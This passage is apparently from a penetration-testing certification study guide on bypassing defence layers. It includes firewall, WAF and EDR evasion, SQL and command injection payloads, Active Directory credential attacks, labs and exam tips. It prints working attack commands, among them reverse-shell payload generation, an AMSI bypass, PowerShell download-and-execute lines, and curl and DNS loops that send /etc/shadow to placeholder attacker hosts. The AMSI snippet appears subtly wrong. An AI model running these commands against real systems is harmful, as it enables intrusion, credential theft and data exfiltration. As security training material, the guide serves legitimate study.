5.1 Physical Layer Bypass Techniques
| Technique | Description | Tools/Methods |
|---|---|---|
| Tailgating | Following authorized personnel | Social engineering, distraction |
| Badge Cloning | Copying RFID/NFC badges | Proxmark3, RFID readers |
| Lock Picking | Gaining physical access to rooms | Lock picks, bump keys |
| Hardware Keyloggers | Capturing keystrokes | USB keylogger devices |
| Evil Maid Attack | Tampering with unattended devices | Bootkit installation, hardware implants |
| WiFi Pineapple | Rogue access point for MITM | WiFi Pineapple, evil twin AP |
5.2 Firewall/WAF Bypass Methods
Firewall Bypass Techniques
═══════════════════════════════════════════════════════════════
1. Port Redirection / Port Knocking
┌─────────────────────────────────────────────────────┐
│ Send sequence of connection attempts to specific │
│ ports to trigger firewall rule opening │
│ │
│ nmap --script knock.nse -p 7469,8475,9842 <target> │
│ nmap -p 80 <target> # Now port 80 is open │
└─────────────────────────────────────────────────────┘
2. Protocol Tunneling
┌─────────────────────────────────────────────────────┐
│ Tunnel blocked traffic through allowed protocols │
│ │
│ SSH over DNS: │
│ iodine -c -p mypassword <dns-server> │
│ │
│ SSH over ICMP: │
│ icmpsh (client/server tunneling via ICMP) │
│ │
│ HTTP tunneling: │
│ reGeorg / ewt / plink for HTTP-based tunnels │
└─────────────────────────────────────────────────────┘
3. Fragmentation Attacks
┌─────────────────────────────────────────────────────┐
│ Split malicious packets to evade inspection │
│ │
│ hping3 -S -f -c 1000 <target> -p 80 │
│ (Fragmented SYN packets) │
└─────────────────────────────────────────────────────┘
4. DNS Exfiltration / Tunneling
┌─────────────────────────────────────────────────────┐
│ Use DNS queries to exfiltrate data or tunnel C2 │
│ │
│ dnscat2 (DNS-based command and control) │
│ iodine (DNS tunneling for network access) │
│ │
│ Data encoded in subdomain queries: │
│ <encoded-data>.<attacker-domain>.com │
└─────────────────────────────────────────────────────┘
WAF-Specific Bypass Techniques
# WAF Bypass Techniques for Web Applications
# 1. HTTP Verb Tampering
curl -X PROPFIND http://target.com/
curl -X MKCOL http://target.com/evil/
curl --trace-ascii - output.txt http://target.com/
# 2. Content-Type Manipulation
curl -H "Content-Type: application/json" \
-d '{"query":"SELECT * FROM users"}' \
http://target.com/api
# 3. Request Smuggling (CL.TE)
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
GGET /secret HTTP/1.1
Host: target.com
# 4. Unicode/Encoding Bypass for SQLi
# Original: ' OR 1=1--
# URL-encoded: %27%20OR%201%3D1--
# Double URL-encoded: %2527%2520OR%25201%253D1--
# Unicode: \u0027\u0020OR\u00201\u003D1--
# 5. HTTP Parameter Pollution
# id=1&id=1 OR 1=1
# id[]=1
# id[0]=1
# 6. Using Alternative Delimiters
# Instead of: ' OR '1'='1
# Try: " OR "1"="1
# Or: ) OR (1=1
# Or: 1 UNION SELECT null--
5.3 Network Segmentation Bypass
Network Segmentation Bypass Techniques
═══════════════════════════════════════════════════════════════
1. VLAN Hopping
┌─────────────────────────────────────────────────────┐
│ Double Tagging (802.1Q): │
│ Send frame with two VLAN tags. Switch strips first, │
│ second tag determines actual VLAN. │
│ │
│ yersinia --attack 6 --interface eth0 │
│ (VLAN hopping attack using Yersinia) │
└─────────────────────────────────────────────────────┘
2. Switch Spoofing (Trunk Negotiation)
┌─────────────────────────────────────────────────────┐
│ Negotiate trunk link with switch via DTP: │
│ │
│ yersinia --attack 5 --interface eth0 │
│ (Trunk negotiation attack) │
│ │
│ Once trunk established, access all VLANs │
└─────────────────────────────────────────────────────┘
3. ARP Spoofing / Poisoning
┌─────────────────────────────────────────────────────┐
│ Intercept traffic within same subnet: │
│ │
│ ettercap -T -q -i eth0 -M arp:remote │
│ /target1/ /target2/ │
│ │
│ Responder (LLMNR/NBT-NS/mDNS poisoning): │
│ Responder -I eth0 -wvrA │
└─────────────────────────────────────────────────────┘
4. Pivot Through Compromised Host
┌─────────────────────────────────────────────────────┐
│ Use compromised host as jump box: │
│ │
│ chisel client (tunneling): │
│ ./chisel client <attacker-ip> 8080 R:socks │
│ │
│ SSH dynamic port forwarding: │
│ ssh -D 1080 user@compromised-host │
│ Configure browser to use SOCKS proxy localhost:1080 │
│ │
│ Ligolo-ng (advanced tunneling): │
│ ./ligolo-tunnel agent <attacker-ip> 9001 │
└─────────────────────────────────────────────────────┘
5.4 AV/EDR Evasion
AV/EDR Evasion Techniques
═══════════════════════════════════════════════════════════════
1. Obfuscation
┌─────────────────────────────────────────────────────┐
│ Encode/encrypt payloads to avoid signature match │
│ │
│ msfvenom -p windows/x64/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=4444 │
│ -f exe -e x86/shikata_ga_nai -i 5 │
│ -o payload.exe │
│ │
│ Veil-Evasion (framework for AV evasion): │
│ use python/meterpreter/rev_tcp │
│ set Obfuscate True │
│ set ClearSF True │
│ generate │
└─────────────────────────────────────────────────────┘
2. Living-off-the-Land (LOLBins)
┌─────────────────────────────────────────────────────┐
│ Use legitimate system binaries for malicious tasks │
│ │
│ PowerShell: │
│ powershell -enc <base64-encoded-payload> │
│ │
│ certutil: │
│ certutil -urlcache -split -f <URL> output.exe │
│ │
│ mshta: │
│ mshta http://<attacker>/payload.hta │
│ │
│ rundll32: │
│ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:Download") │
│ │
│ cmstp (Windows Installer): │
│ cmstp.exe /ni /s inf_file.inf │
└─────────────────────────────────────────────────────┘
3. Process Injection Techniques
┌─────────────────────────────────────────────────────┐
│ Inject code into legitimate processes: │
│ │
│ Process Hollowing: │
│ Create suspended process, unmap image, │
│ write payload, set context, resume │
│ │
│ Process Injection (CreateRemoteThread): │
│ Allocate memory in target process, write payload, │
│ create remote thread to execute │
│ │
│ APC Injection: │
│ Queue asynchronous procedure call to target thread │
│ │
│ Reflective DLL Injection: │
│ Load DLL directly into memory without disk write │
└─────────────────────────────────────────────────────┘
4. Fileless Malware
┌─────────────────────────────────────────────────────┐
│ Execute entirely in memory, no disk artifacts: │
│ │
│ PowerShell: │
│ IEX (New-Object Net.WebClient).DownloadString( │
│ 'http://<attacker>/payload.ps1') │
│ │
│ WMI: │
│ wmic process call create "powershell -enc <payload>"│
│ │
│ CIM: │
│ Invoke-CimMethod -ClassName Win32_Process │
│ -MethodName Create -ArgumentList "<command>" │
└─────────────────────────────────────────────────────┘
5. AMSI Bypass (Windows)
┌─────────────────────────────────────────────────────┐
│ Patch AMSI to prevent script scanning: │
│ │
│ PowerShell AMSI Bypass (patch amsiScanBuffer): │
│ [Ref].Assembly.GetType('System.Diagnostics.Process')│
│ .GetField('amsiInitFailed','NonPublic,Static') │
│ .SetValue($null,$true) │
│ │
│ Note: Modern EDRs detect this bypass │
│ Use more advanced techniques for production │
└─────────────────────────────────────────────────────┘
5.5 Application Layer Attacks
Application Layer Attack Vectors
═══════════════════════════════════════════════════════════════
1. SQL Injection
┌─────────────────────────────────────────────────────┐
│ Union-based: │
│ ' UNION SELECT username,password FROM users-- │
│ │
│ Boolean-based blind: │
│ ' OR (SELECT LENGTH(password) FROM users │
│ WHERE username='admin') > 5-- │
│ │
│ Time-based blind: │
│ ' OR IF(1=1,SLEEP(5),0)-- │
│ │
│ Error-based: │
│ ' AND (SELECT COUNT(*) FROM (SELECT 1 UNION │
│ SELECT null UNION SELECT version()) t)-- │
└─────────────────────────────────────────────────────┘
2. Command Injection
┌─────────────────────────────────────────────────────┐
│ OS command injection via user input: │
│ │
│ ; cat /etc/passwd │
│ | cat /etc/passwd │
│ && cat /etc/passwd │
│ `cat /etc/passwd` │
│ $(cat /etc/passwd) │
│ │
│ Windows: │
│ | whoami │
│ & whoami │
│ | type C:\Windows\System32\drivers\etc\hosts │
└─────────────────────────────────────────────────────┘
3. Server-Side Request Forgery (SSRF)
┌─────────────────────────────────────────────────────┐
│ Force server to make requests to internal resources:│
│ │
│ http://localhost:8080 │
│ http://169.254.169.254/latest/meta-data/ │
│ (AWS metadata) │
│ http://metadata.google.internal/computeMetadata/ │
│ (GCP metadata) │
│ file:///etc/passwd │
│ gopher://localhost:6379/... │
│ │
│ Tools: │
│ golddigger (AWS metadata extraction) │
│ ssrf-shocker (SSRF testing) │
└─────────────────────────────────────────────────────┘
4. Insecure Deserialization
┌─────────────────────────────────────────────────────┐
│ Manipulate serialized objects for RCE: │
│ │
│ Java: │
│ ysoserial (generate malicious payloads) │
│ java -jar ysoserial.jar CommonsCollections5 │
│ 'command' | base64 │
│ │
│ Python: │
│ pickle deserialization attacks │
│ marshalling module exploitation │
│ │
│ PHP: │
│ PHP object injection via __destruct, __wakeup │
│ phpggc (generate PHP gadget chains) │
└─────────────────────────────────────────────────────┘
5.6 Data Exfiltration Techniques
Data Exfiltration Methods
═══════════════════════════════════════════════════════════════
1. DNS Exfiltration
┌─────────────────────────────────────────────────────┐
│ Encode data in DNS queries: │
│ │
│ dnscat2 client: │
│ dnscat2 <attacker-domain> │
│ │
│ Custom DNS exfil: │
│ data=$(cat /etc/shadow | base64 | fold -w 30) │
│ for chunk in $data; do │
│ nslookup ${chunk}.<attacker-domain> │
│ done │
└─────────────────────────────────────────────────────┘
2. ICMP Exfiltration
┌─────────────────────────────────────────────────────┐
│ Hide data in ICMP packets: │
│ │
│ ping -c 1 -s 56 -p <hex-data> <target> │
│ │
│ icmpsh (ICMP tunneling tool): │
│ ./icmpsh.py <attacker-ip> <data-to-exfil> │
└─────────────────────────────────────────────────────┘
3. HTTP/S Exfiltration
┌─────────────────────────────────────────────────────┐
│ Send data via HTTP requests: │
│ │
│ curl -X POST http://<attacker>/collect │
│ -d @/etc/shadow │
│ │
│ curl -H "X-Data: $(base64 /etc/shadow)" │
│ http://<attacker>/collect │
│ │
│ Upload to cloud storage: │
│ curl -T sensitive_data.txt │
│ https://<attacker-storage>/upload │
└─────────────────────────────────────────────────────┘
4. Steganography
┌─────────────────────────────────────────────────────┐
│ Hide data within images/audio/video: │
│ │
│ steghide embed -cf cover.jpg -ef secret.txt │
│ steghide extract -sf cover.jpg │
│ │
│ strings image.jpg | grep "FLAG" │
│ exiftool image.jpg │
└─────────────────────────────────────────────────────┘
6. Practical Examples
6.1 Testing the Perimeter Layer
# Comprehensive Port Scanning
# ────────────────────────────
# Quick scan of common ports
nmap -sC -sV -T4 -p- <target>
# Stealth scan with service detection
nmap -sS -sV -O -T2 -p 1-65535 <target>
# Aggressive scan with scripting engine
nmap -A -T4 -p- <target>
# Scan for specific services
nmap -sV --script=vuln -p 80,443,8080,8443 <target>
# Web Application Discovery
# ───────────────────────────
# Directory brute-forcing
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,html
# Subdomain enumeration
subfinder -d <target-domain>
amass enum -d <target-domain>
# Technology detection
whatweb http://<target>
wappalyzer http://<target>
# SSL/TLS Analysis
testssl.sh <target>
nmap --script ssl-enum-ciphers -p 443 <target>
6.2 Testing the Network Layer
# Network Discovery
# ──────────────────
# ARP scanning for local hosts
nmap -sn 10.10.10.0/24
arp-scan --localnet
# SMB Enumeration
enum4linux -a <target>
crackmapexec smb <target> -u '' -p '' --shares --users --groups
# LDAP Enumeration
ldapsearch -x -H ldap://<target> -b "DC=target,DC=com"
rpcclient -U "" <target>
# SNMP Enumeration
onesixtyone -c /usr/share/doc/snmp/CommunityStrings <target>
snmpwalk -v2c -c public <target>
# DNS Zone Transfer
dig axfr @<target-dns> <target-domain>
dnsrecon -d <target-domain> -t axfr
6.3 Testing the Host Layer
# Linux Privilege Escalation Enumeration
# ───────────────────────────────────────
# System information
uname -a
cat /etc/os-release
hostname
# User and group information
id
cat /etc/passwd
cat /etc/shadow 2>/dev/null
groups
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# Running processes
ps aux
top
# Network connections
ss -tulpn
netstat -tulpn
# Auto enumeration tools
linpeas.sh
linux-smart-enumeration
linenum.sh
# Windows Privilege Escalation Enumeration
# ──────────────────────────────────────────
# System information
systeminfo
whoami /all
net user /domain
net group "Domain Admins" /domain
# Service enumeration
query service
wmic service list brief
# Scheduled tasks
schtasks /query /fo LIST /v
# Registry enumeration
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
# Auto enumeration tools
winPEASx64.exe
PowerUp.ps1
Seatbelt.exe
6.4 Testing the Application Layer
# Web Application Testing
# ────────────────────────
# SQL Injection Testing
sqlmap -u "http://<target>/page?id=1" --batch --dbs
sqlmap -u "http://<target>/page?id=1" -D database --tables
sqlmap -u "http://<target>/page?id=1" -D database -T users --dump
# XSS Testing
# Manual:
# '"><script>alert(1)</script>
# "><img src=x onerror=alert(1)>
# "><svg/onload=alert(1)>
# Automated:
dalfox url "http://<target>/page?q=test"
xsser -u "http://<target>/page?q=test"
# Command Injection Testing
# Manual:
# ; id
# | id
# && id
# `id`
# $(id)
# Automated:
commix -u "http://<target>/page?ip=<target>"
# File Upload Testing
# 1. Try uploading web shell
# 2. Try bypassing extension filters
# 3. Try bypassing content-type checks
# 4. Try double extension (shell.php.jpg)
# 5. Try null byte (shell.php%00.jpg)
# Authentication Testing
# Password brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# JWT Testing
jwt_tool.py -M E -d <wordlist> <jwt-token>
python3 jwt-cracker.py <jwt-token> <wordlist>
6.5 Testing the Identity Layer
# Credential Attacks
# ────────────────────
# Password Spraying
crackmapexec smb <target> -u users.txt -p 'Password1' --continue-on-success
# Kerberoasting
GetUserSPNs.py <domain>/user:password -request -dc-ip <dc-ip>
hashcat -m 13100 hash.txt wordlist.txt
# AS-REP Roasting
GetNPUsers.py <domain>/ -usersfile users.txt -format hashcat -outputfile hashes.txt
hashcat -m 18200 hashes.txt wordlist.txt
# Pass-the-Hash
crackmapexec smb <target> -u administrator -H <ntlm-hash>
psexec.py <domain>/administrator@<target> -hashes :<ntlm-hash>
# LLMNR/NBT-NS Poisoning
Responder -I eth0 -wvrA
# Capture NTLMv2 hashes, then crack:
hashcat -m 5600 hashes.txt wordlist.txt
7. Lab Exercises
Exercise 1: Perimeter Assessment
Objective: Identify all exposed services and potential entry points.
Steps:
1. Perform comprehensive port scan using nmap
2. Identify all running services and versions
3. Check for default credentials on discovered services
4. Enumerate web application structure
5. Document all findings in a structured format
Tools: nmap, gobuster, whatweb, testssl.sh
Time: 30-45 minutes
Exercise 2: Network Segmentation Testing
Objective: Discover internal network topology and segmentation.
Steps:
1. After initial access, enumerate local network
2. Discover other hosts using ARP scan
3. Attempt to access internal services
4. Test for VLAN hopping opportunities
5. Map the internal network topology
Tools: nmap, arp-scan, enum4linux, crackmapexec
Time: 45-60 minutes
Exercise 3: Privilege Escalation
Objective: Escalate from low-privileged user to root/administrator.
Steps:
1. Run enumeration scripts (linPEAS/winPEAS)
2. Identify misconfigurations and vulnerabilities
3. Research identified vulnerabilities
4. Exploit to gain higher privileges
5. Document the escalation path
Tools: linPEAS, winPEAS, GTFOBins, ExploitDB
Time: 60-90 minutes
Exercise 4: Web Application Attack Chain
Objective: Exploit web application vulnerabilities for initial access.
Steps:
1. Enumerate web application (directories, parameters, technologies)
2. Test for common vulnerabilities (SQLi, XSS, command injection)
2. Exploit identified vulnerability for code execution
3. Establish persistent access
4. Pivot to internal network
Tools: Burp Suite, sqlmap, gobuster, curl
Time: 60-90 minutes
Exercise 5: Defense Evasion
Objective: Bypass security controls to maintain access.
Steps:
1. Identify running security products (AV, EDR, firewall)
2. Research evasion techniques for identified products
3. Implement evasion (obfuscation, LOLBins, fileless)
4. Test that evasion is effective
5. Document techniques used
Tools: Veil, Custom scripts, PowerShell, msfvenom
Time: 45-60 minutes
8. Key Tools
8.1 Reconnaissance and Enumeration
| Tool | Purpose | Layer Tested |
|---|---|---|
| nmap | Port scanning, service detection | Perimeter, Network |
| masscan | Fast port scanning | Perimeter |
| gobuster | Directory/file brute-forcing | Application |
| dirb | Directory brute-forcing | Application |
| enum4linux | SMB/LDAP enumeration | Network, Identity |
| crackmapexec | Active Directory enumeration | Network, Identity |
| Responder | LLMNR/NBT-NS poisoning | Network, Identity |
| BloodHound | AD attack path analysis | Identity, Network |
8.2 Exploitation
| Tool | Purpose | Layer Tested |
|---|---|---|
| Metasploit | Exploitation framework | All layers |
| sqlmap | SQL injection automation | Application |
| Burp Suite | Web app testing proxy | Application |
| hydra | Password brute-forcing | Identity |
| john | Password cracking | Identity |
| hashcat | GPU password cracking | Identity |
| impacket | Windows protocol exploitation | Network, Identity |
| ysoserial | Java deserialization payloads | Application |
8.3 Post-Exploitation
| Tool | Purpose | Layer Tested |
|---|---|---|
| linPEAS | Linux privilege escalation enum | Host |
| winPEAS | Windows privilege escalation enum | Host |
| PowerUp | Windows privesc (PowerShell) | Host |
| Mimikatz | Credential extraction | Identity, Host |
| chisel | Tunneling and pivoting | Network |
| Ligolo-ng | Advanced tunneling | Network |
| sshuttle | Transparent SSH proxy | Network |
| dnscat2 | DNS-based C2 | Data, Network |
8.4 Defense Evasion
| Tool | Purpose | Layer Tested |
|---|---|---|
| Veil | AV evasion framework | Host |
| msfvenom | Payload generation with encoding | Host |
| Donut | .NET to shellcode conversion | Host |
| AMSI bypass scripts | AMSI patching | Host |
| steghide | Steganography | Data |
| iodine | DNS tunneling | Network, Data |
9. Exam Tips
9.1 Approaching a Heavily Defended Target
OSCP Exam Strategy for Defended Targets
═══════════════════════════════════════════════════════════════
Phase 1: Reconnaissance (Be Patient)
─────────────────────────────────────
• Start with broad nmap scan, then focus on interesting ports
• Don't rush — thorough enumeration saves time later
• Document EVERYTHING (notes are critical for writeup)
• Check for hidden services, unusual ports, and default credentials
Phase 2: Initial Access (Try Multiple Vectors)
────────────────────────────────────────────────
• Web apps: Test all input fields, parameters, and headers
• Services: Check for known exploits (searchsploit)
• Credentials: Try default creds, weak passwords, spraying
• If one path fails, pivot to another — don't get stuck
Phase 3: Privilege Escalation (Systematic Approach)
────────────────────────────────────────────────────
• Run automated enum tools FIRST (linPEAS/winPEAS)
• Read the output carefully — don't just skim
• Focus on: SUID binaries, cron jobs, services, permissions
• Check for kernel exploits as last resort
• Always check for other users and their files
Phase 4: Lateral Movement (Think Like the Defender)
─────────────────────────────────────────────────────
• Scan the local network from compromised host
• Look for other services and open ports
• Try pass-the-hash with harvested credentials
• Check for shared resources and weak permissions
• Use the compromised host as a pivot point
Phase 5: Domain Admin / Root (The Final Push)
───────────────────────────────────────────────
• Kerberoasting for service account hashes
• AS-REP roasting for pre-auth disabled accounts
• DCSync for domain controller access
• GPO abuse and misconfiguration exploitation
• Always check for unconstrained delegation
9.2 Time Management
| Phase | Recommended Time | Maximum Time |
|---|---|---|
| Reconnaissance | 30-45 min | 60 min |
| Initial Access | 45-60 min | 90 min |
| Privilege Escalation | 30-45 min | 60 min |
| Lateral Movement | 30-45 min | 60 min |
| Domain Admin / Root | 30-45 min | 60 min |
| Writeup | 60-90 min | 120 min |
9.3 Common Pitfalls to Avoid
❌ Don't: ✅ Do:
───────────────────────────────── ─────────────────────────────────
Skip thorough enumeration Enumerate thoroughly first
Rush into exploitation Understand the target first
Ignore less common ports Scan all ports (-p-)
Forget to check for other users Always check /etc/passwd and users
Assume one path will work Have backup attack vectors
Neglect note-taking Document everything in real-time
Forget about the writeup Start writeup notes during engagement
Panic when stuck Take a break, revisit notes, try new angle
9.4 Note-Taking Template
# Target: <IP Address>
## Reconnaissance
- Open Ports:
- Services:
- OS:
- Interesting Findings:
## Initial Access
- Method:
- Command:
- User Gained:
## Privilege Escalation
- From: <user>
- To: <user>
- Method:
- Command:
## Lateral Movement
- Target: <IP>
- Method:
- Credentials Used:
## Notes
- Key observations:
- Alternative approaches tried:
- Lessons learned:
10. Cross-References
Related Topics
| Topic | Relationship | Reference |
|---|---|---|
| Network Security | Foundation for perimeter and network layers | See Network Security chapter |
| AV/EDR Evasion | Critical for host layer bypass | See AV Evasion chapter |
| Privilege Escalation | Host layer exploitation | See Privilege Escalation chapter |
| Web Application Security | Application layer attacks | See Web App Security chapter |
| Active Directory Attacks | Identity and network layer | See AD Attacks chapter |
| Social Engineering | Human layer exploitation | See Social Engineering chapter |
| Cryptography | Data layer protection | See Cryptography chapter |
| Incident Response | Defense perspective | See Incident Response chapter |
Defense in Depth Attack Flow
Complete Attack Chain Through Defense Layers
═══════════════════════════════════════════════════════════════
[Reconnaissance]
│
▼
[Perimeter Layer] ───► Port Scanning, Service Enum, Default Creds
│
▼
[Network Layer] ─────► VLAN Discovery, Internal Scanning, Pivoting
│
▼
[Application Layer] ─► Web App Exploitation, API Abuse, Injection
│
▼
[Host Layer] ────────► Privilege Escalation, AV Evasion, Persistence
│
▼
[Identity Layer] ────► Credential Harvesting, Pass-the-Hash, Kerberoasting
│
▼
[Data Layer] ────────► Data Exfiltration, Encryption Bypass
│
▼
[Objective Achieved] ─► Domain Admin / Root / Data Access
Key Takeaways for OSCP
- Defense in depth means multiple paths to failure — as an attacker, find the weakest layer
- Enumeration is your most powerful tool — each layer reveals different information
- No single technique works everywhere — have a toolkit for each layer
- Document everything — the writeup is 30% of your grade
- Persistence pays off — if one layer is strong, try another angle
- Think like the defender — understanding defenses helps you find weaknesses
- Time management is critical — don’t spend hours on one machine if others are easier
Last Updated: 2026-09-01 | Domain: Introduction to CyberSecurity | Difficulty: Core